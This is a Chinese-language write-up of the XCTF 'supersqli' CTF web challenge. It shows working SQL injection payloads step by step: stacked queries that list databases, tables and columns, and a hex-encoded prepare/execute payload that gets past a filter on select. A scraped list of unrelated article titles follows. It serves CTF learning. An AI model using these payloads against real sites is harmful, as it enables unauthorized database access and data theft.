xctf-web(高手進階區)-supersqli
xctf:https://adworld.xctf.org.cn/
輸入單引號,發現報錯
返回正常:
/?inject=1' and 1=1--+
報錯:
/?inject=1' and 1=2--+
order by 3 報錯,order by 2正常
?inject=1' order by 2--+
利用select 去檢視的出現正則匹配,不允許使用以下字元
可以使用堆疊注入的方式,檢視當前資料庫
?inject=1';show databases;--+
檢視當前表:
/?inject=1';show tables;--+
檢視words表的欄位,發現沒有flag:
/?inject=111';show columns from words;--+
再檢視1919810931114514
表中的欄位,你會發現,直接使用show是檢視不了的
原因:
- 表名或者欄位有和mysql關鍵字或保留字相同的就必須使用反引號加以區分
- 表名如果是純數字,那麼必須用反引號
所以我們加上反引號對純數字的表進行檢視,發現flag欄位:
/?inject=111';show columns from `1919810931114514`;--+
查詢flag思路:
我們不能直接使用select進行檢視flag,但可以利用一個叫動態查詢語句的方法進行檢視。動態查詢也是需要用到select語句,但我們可以將sql語句轉換成16進位制,mysql會自動識別16進位制並進行轉化,存入一個sql語句變數中,再使用execute執行sql語句。
如果不理解動態查詢語句的小夥伴可以先學習一下動態查詢的用法:
MYSQL 動態查詢結果
mysql 實現 mssql exec 動態查詢語句
我們將sql語句轉換成16進位制:
payload:
/?inject=1';SeT@sql=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @sql;execute execsql;#
- set@a:設定一個語句變數
- prepare : 儲存一個sql語句 存到execsql 裡面
- execute :執行一個sql語句
相關文章
- 攻防世界 web高手進階區 10分題 urlWeb
- 攻防世界 Reverse高手進階區 2分題 Mysterious
- Linux-高手進階之路Linux
- 攻防世界 Misc高手進階區 5分題 側通道初探
- 攻防世界 Misc高手進階區 5分題 picture2
- 攻防世界 Misc高手進階區 2分題 心儀的公司
- 攻防世界web高手進階之blgdelWeb
- 攻防世界web高手進階18(mfw)Web
- Android高手進階之兩幅圖搞定DilogFragmentAndroidFragment
- Mysql系列第十七講 流程控制語句(高手進階)MySql
- Python進階:切片的誤區與高階用法Python
- 「區塊鏈進階系列」什麼是Web3.0?區塊鏈Web
- 《校花的貼身高手:天階島》今日正式首發
- 前端工程化、模組化方案教程大全,現代前端高手進階必經之路(歡迎收藏)前端
- 新手進階|AutoCAD LT 2019 Mac自定義功能區的方法Mac
- 高手系列!資料科學傢俬藏pandas高階用法大全 ⛵資料科學
- 高階前端進階(三)前端
- 高階前端進階(七)前端
- 高階前端進階(五)前端
- vue進階Vue
- SQL進階SQL
- protobuf進階
- gRPC進階RPC
- HBase進階
- 06進階
- Redux 進階Redux
- JavaScript進階JavaScript
- ElasticSearch 進階Elasticsearch
- Python進階Python
- Vuejs進階知識(十八)【component 進階知識】VueJS
- 【LBTC區塊鏈進階】分叉幣的正確開啟方式區塊鏈
- 從新手到高手,Java初學者要經歷哪些階段?Java
- React 進階(三) 高階元件React元件
- Typescript 高階語法進階TypeScript
- 高階前端進階系列 - webview前端WebView
- Java小白進階筆記(5)-進階物件導向Java筆記物件
- sqlmap 進階 (一)SQL
- RocketMQ進階技巧MQ